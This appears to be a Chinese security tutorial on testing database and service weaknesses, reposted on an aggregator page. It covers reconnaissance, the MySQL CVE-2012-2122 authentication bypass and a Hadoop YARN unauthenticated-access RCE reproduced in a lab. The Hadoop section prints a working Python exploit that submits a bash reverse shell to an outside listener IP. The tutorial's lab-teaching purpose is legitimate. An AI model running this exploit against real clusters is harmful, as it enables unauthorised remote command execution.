服务攻防-数据库安全-服务应用的安全问题以及测试流程-MysqlHadoop未授权访问RCE-漏洞复现

news2024/11/24 17:46:45

目录

一、服务应用的安全问题

1、配置不当——未授权访问

2、安全机制——特定安全漏洞

3、安全机制——弱口令爆破攻击

二、服务应用的安全测试思路

1、判断服务是否开放

2、判断服务类型

3、判断利用方式

三、Mysql-未授权访问-CVE-2012-2122 利用

1、漏洞概述

2、漏洞复现

3、知识点补充

四 、Hadoop-未授权访问-内置配合命令执行 RCE

1、Hadoop简介

2、漏洞复现


一、服务应用的安全问题

1、配置不当——未授权访问

        对方在搭建服务应用的时候,采用默认配置,或者自行修改了一些安全配置,从而导致配置不当,进而会产生一些安全问题。

        其中最常见的就是由于配置不当导致的未授权访问。

2、安全机制——特定安全漏洞

        未授权访问一般是由于配置不当所导致的,也就是说软件本身没有问题, 而安全机制这部分主要就是软件或者应用服务本身存在的问题,与配置无关。 

3、安全机制——弱口令爆破攻击

        有些服务是通过口令验证来去判断服务的启动和禁用的,比如数据库里面有一些数据库里面就内置的数据库的用户,包括账号和密码,如果说设置的这个账号和密码过于简单的话,那么攻击者就可以通过弱口令的猜解得到账号以及密码之后进入,来进行一些安全的测试。

二、服务应用的安全测试思路

1、判断服务是否开放

        因为我们讲的是服务的安全问题,也就是说如果当前服务没有的话,那么当前服务的安全问题肯定也就不存在了,也就没有继续进行测试的必要性了。

  • 端口扫描

        可以使用namp等工具,其原理是如果服务想要开启,就需要开放一个对应的端口,这些端口大部分都是默认的,也就是说可以根据端口号来判断某个服务是否开放。如mysql数据库的默认端口号是3306;Oracle数据库的默认端口号是1521;sql server数据库的默认端口号是1433;Redis数据库的默认端口号是6379。

        当然使用者也可以修改端口号,但是一般是不会进行修改的。

        但是有一种特殊情况,服务明明开放了,但是端口却没有开放是因为什么呢?

        三方面原因:

        (1)其处于内网(主要原因)。

                因为其服务是放在内网主机上面的,在内网内开了许多服务(端口 ),比如web和数据库,但是其只将web映射到外网,所以我们只能看到其服务在外网是开的,但是在进行扫描的时候我们扫描的仅仅是组网主机,而组网主机会将数据转发到内网再做处理,所以我们检测不到对应服务端口的开放。

        (2)端口被修改(可能性较小)。

        (3)防护应用的干扰。

  • 组合猜解

        就是我们要知道,比如有A服务,那么就有很大的可能会有B服务。

  • 信息来源

        有一些服务,会在我们进行一些安全测试的过程中,返回一些报错或者提示,进而我们可以根据此来知道有某些服务。

2、判断服务类型

        根据服务类型来判断存在什么服务,进而来判断可能存在哪些安全问题以及如何来利用存在的安全问题。

  • 数据库
  • 文件传输
  • 远程控制

        比如远程连接Windows系统的远程桌面协议(RDP),使用的 TCP 端口是3389。Linux 系统,可以使用 SSH(Secure Shell)协议进行远程访问和控制,使用的 TCP 端口是22。在连接的时候,需要输入正确的账号和密码,在这个过程中关键点就在此,如果得到了账号和密码,攻击者就可以直接连接上,就相当于拿下了这台服务器。攻击者就可以使用密码爆破来进行攻击。

  • 数据通讯

3、判断利用方式

        就是利用我们前面判断出来的存在的服务以及服务类型来判断如何利用可能存在的安全问题来进行下一步的操作。

  • 特性漏洞

        根据这个服务本身存在的安全问题来进行利用。

  • 未授权访问

       对方对服务应用的配置不当,可能会存在未授权访问。

  • 弱口令爆破

        涉及到账号密码,就可以采用账号密码方面的爆破猜解。

三、Mysql-未授权访问-CVE-2012-2122 利用

1、漏洞概述

  • 影响版本:
    • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
    • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
  • 漏洞描述:

        当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

2、漏洞复现

        首先将环境启动起来。

        在网上随便找一个扫描接口来对环境的开放端口进行扫描,在下图位置输入ip。

        探针结果如下图所示,可以看到3306端口开放,因此我们可以知道mysql服务存在。  

        接下来我们就来判断上面写的漏洞是否存在,只需要执行下面的命令。

        将上图所示的命令执行后效果如下图所示,可以看到因为密码错误,就一直报错,但是在某一刻,没有再报错,而是直接进入到了数据库里面。

3、知识点补充

        mysql默认配置只能本地登陆root用户,远程的连接请求时被拒绝的,那么我们就无法来对其进行密码爆破了,因为我们连接都连接不上。

        因此我们就只能使用类似phpMyAdmin来进行猜解,因为其属于第三方的数据库管理应用,其搭建在对方的服务器上,因此就可以借助其来登陆数据库,此时数据的发送就是从本地到本地,所以可能进行测试。

        那么如何来判断网站是否存在phpMyAdmin呢,可以使用浏览器访问网站并尝试在URL地址栏输入以下内容(也可以使用目录扫描工具直接进行扫描,观察是否存在相关路径):

  • /phpmyadmin
  • /pma
  • /myadmin
  • /mysql

        如果看到了phpMyAdmin的登录页面,那么该网站很可能存在phpMyAdmin,并且可以使用默认的登录凭据进行登录。

        如果您看到一个404错误页面,那么该网站可能不存在phpMyAdmin,或者它已经被移动到其他位置。

        但是请注意,即使看不到上述URL之一,也不能完全排除该网站存在phpMyAdmin的可能性。管理员可能已经将phpMyAdmin重命名或移动到其他位置以避免被发现,因此在评估网站的安全性时,还需要进行其他安全检查。

四 、Hadoop-未授权访问-内置配合命令执行 RCE

1、Hadoop简介

        Hadoop是一个开源的分布式计算平台,用于处理大规模数据集。它提供了分布式存储和分布式处理能力,可以在大规模服务器集群上进行高效的数据处理。

        通常被用于处理大规模的数据集,如数据分析、数据挖掘、机器学习等应用场景。它的设计理念是通过将大规模数据分割成多个数据块,并在多个计算节点上并行处理这些数据块,从而实现高效的数据处理。

        常用的端口配置如下(我们平时主要看的是50010端口): 

2、漏洞复现

        进入靶场后,在数据库选项内选择“Hadoop”。

        启动环境。

        进入靶场提供的地址。

        访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)。

        使用以下官方exp反弹shell。

#!/usr/bin/env python

import requests

target = 'http://123.58.236.76:31367/' # 将这里更改为目标主机地址,监听端口为9999
lhost = '47.94.236.117' # 输入你的ip地址(外网反弹地址)在这里,是用来接收shell的回连地址,监听端口为9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

        在桌面创建一个py文件来保存上面的exp。

        输入下面的命令开始对7777端口进行监听。

        进入cmd输入下面的命令来执行刚刚创建好的exp。

        可以看到成功接收到了反弹。


接下篇文章:https://blog.csdn.net/weixin_62808713/article/details/130451511


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/490655.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Detours HOOK

参考文本 如何使用Detours库进行DLL注入,拦截API - 知乎 (zhihu.com) 解决‘nmake‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件。_nmake 不是内部或外部命令,也不是可运行的程序 或批处理文件。_AI浩的博客-CSDN博客 Detours使用方法,简单…

五音不全?手把手教你用自己声音唱任何歌;最详细的Auto-GPT整理;4月AI绘画模型推荐;HayoAI平台简直太酷了 | ShowMeAI日报

👀日报&周刊合集 | 🎡生产力工具与行业应用大全 | 🧡 点赞关注评论拜托啦! 🤖 『ChatGPT Code Interpreter Magic』魔法!离谱!正在怀疑人生… OpenAI 近期面向部分用户发放了 Code Interp…

一起单测引起的项目加载失败惨案 | 京东云技术团队

作者:京东科技 宋慧超 一、前言 最近在开发一个功能模块时,在功能自测阶段,通过使用单测测试功能的完整性,在测试单测联通性使用到静态方法测试时,发现单测报错,通过查阅解决方案发现需要对Javaassist包进…

vue3+webpack4 前端优化首屏时间

项目背景 中小项目,Vue-cli3 vue2 webpack4 目标 缩短白屏时间,用户能够更快的看到我的页面! 白屏时间:从打开页面到看到页面,中间白屏停留的时间。 方向 1.减少资源体积,从而缩短请求时间 2.减少资…

企业数字化转型为什么难?低代码平台能为企业带来什么?

企业数字化转型困难原因是多方便的,比如: 遗留系统:许多企业在难以替换或与新技术集成的遗留技术系统上投入了大量资金。 变革阻力:企业越大,参与决策的人就越多,让每个人都接受新工作方式的难度就越大。 …

前端架构师-week4-Node多进程开发入门

目录 学习路径 官方文档 什么是进程 child_process 用法 exec & execFile 用法 spawn 用法以及与exec & execFile的区别 fork用法及父子进程通信机制讲解 child_process同步方法使用教程 学习路径 官方文档 中文版:http://nodejs.cn/api/child_pr…

Flutter 如何将代码显示到界面上

前言 如何优雅的将项目中的代码,亦或是你的demo代码展示到界面上?本文对使用简单、便于维护且通用的解决方案,进行相关的对比和探究 为了节省大家的时间,把最终解决方案的相关接入和用法写在前面 预览代码 快速开始 接入&…

C. Permutation Game(博弈 + 拓扑的思想)

Problem - C - Codeforces 经过漫长的一天, Aice和Bob决定玩一个小游戏。游戏棋盘由n个格子组成,在一条直线上,编号从1到n,每个格子包含一个数字4;,qy在1到n.之间,而且没有两个格子包含相同的数字。 一个棋子被放在其中一个格子里…

nestJS入门cli 创建项目以及集成swagger和mysql

nestJs 1. 简介 介绍 NestJS NestJS 是一个基于 TypeScript 的渐进式 Node.js 框架,它结合了 OOP、FP 和 FRP 的元素,以提供一种现代且可扩展的开发体验。NestJS 建立在 Express.js 之上,但是提供了更加抽象和模块化的方式来编写应用程序。…

蓝牙资讯|苹果与谷歌起草蓝牙定位追踪设备行业规范

苹果与谷歌于当地时间5月2日联合提交了一份行业规范草案,以帮助应对蓝牙定位追踪设备遭滥用的问题。目前已有包括三星在内的追踪设备制造厂商宣布支持该草案。 据了解,苹果与谷歌此次联合提交的行业规范草案将云熙蓝牙定位追踪设备兼容跨iOS以及Android平…

【LeetCode: 518. 零钱兑换 II | 暴力递归=>记忆化搜索=>动态规划 | 背包模型】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

十五周算法训练营——二叉搜索树(BST)

今天是十五周算法训练营的第五周,主要讲二叉搜索树专题,包含:验证二叉搜索树、不同的二叉搜索树、二叉树的最近公共祖先、二叉搜索树的最近公共祖先。(欢迎加入十五周算法训练营,与小伙伴一起卷算法) BST的…

在SQL中使用AI【EVA】

EVA 旨在支持使用深度学习模型对结构化数据(表格、特征向量)和非结构化数据(视频、播客、PDF 等)进行操作的数据库应用程序。 它使用一系列受久经考验的关系数据库系统启发的优化,包括函数缓存、采样和基于成本的谓词重…

mybatisPlus初识

文章目录 什么是mybatisplus依赖入门案例自动填充乐观锁悲观锁乐观锁 mybatisPlus实现乐观锁批量查询根据指定条件查询 什么是mybatisplus mybatisplus是mybatis的增强工具&#xff0c;支持多种类型的数据库。 依赖 <dependency><groupId>com.baomidou</group…

我的服务器被挖矿了,原因竟是。。。

「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」&#xff1a;对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 挖矿木马应急响应 一、什么是挖矿二、被挖矿主机现象三、挖矿木马处置思路1&#xff09;隔…

Git 使用教程:最详细、最正宗手把手教学(万字长文)

目录 一&#xff1a;Git二&#xff1a;SVN与Git的的区别三、安装Git四&#xff1a;常规操作五&#xff1a;远程仓库六&#xff1a;创建与合并分支七&#xff1a;bug分支八&#xff1a;多人协作九&#xff1a;git可视化工具 Git Git 是一种分布式版本控制系统&#xff0c;用于…

搭建免费的Plex媒体服务器 - 打造超级多媒体中心【异地远程连接】

文章目录 1.前言2. Plex网站搭建2.1 Plex下载和安装2.2 Plex网页测试2.3 cpolar的安装和注册 3. 本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4. 公网访问测试5. 结语 1.前言 用手机或者平板电脑看视频&#xff0c;已经算是生活中稀松平常的场景了&#xff0c;特别是各…

科普, API 是这么演变而来的

API&#xff0c;全称为 Application Programming Interface&#xff0c;中文翻译为应用程序编程接口&#xff0c;是为了方便应用程序之间的数据和功能交互而设计的一些标准方法。API 的使用让开发者能够快速、高效地构建应用程序&#xff0c;从而加速了应用程序的开发速度。在 …

第二章物理层

1.物理层的基本概念 物理层考虑的是怎样才能在连接各种计算机的传输媒体上传输数据比特流。物理层为数据链路层屏蔽了各种传输媒体的差异&#xff0c;使数据链路层只需要考虑如何完成本层的协议和服务&#xff0c;而不必考虑网络具体的传输媒体是什么。 物理层协议的主要任务 机…

21.ThreadLocal有哪些内存泄漏问题?如何避免?

ThreadLocal有以下几个内存泄漏问题&#xff1a; 长期不清理&#xff1a;如果ThreadLocal对象被长期占用&#xff0c;且不及时清理&#xff0c;会导致内存泄漏&#xff1b;使用static ThreadLocal&#xff1a;如果将ThreadLocal定义为static变量&#xff0c;就会导致它的生命周…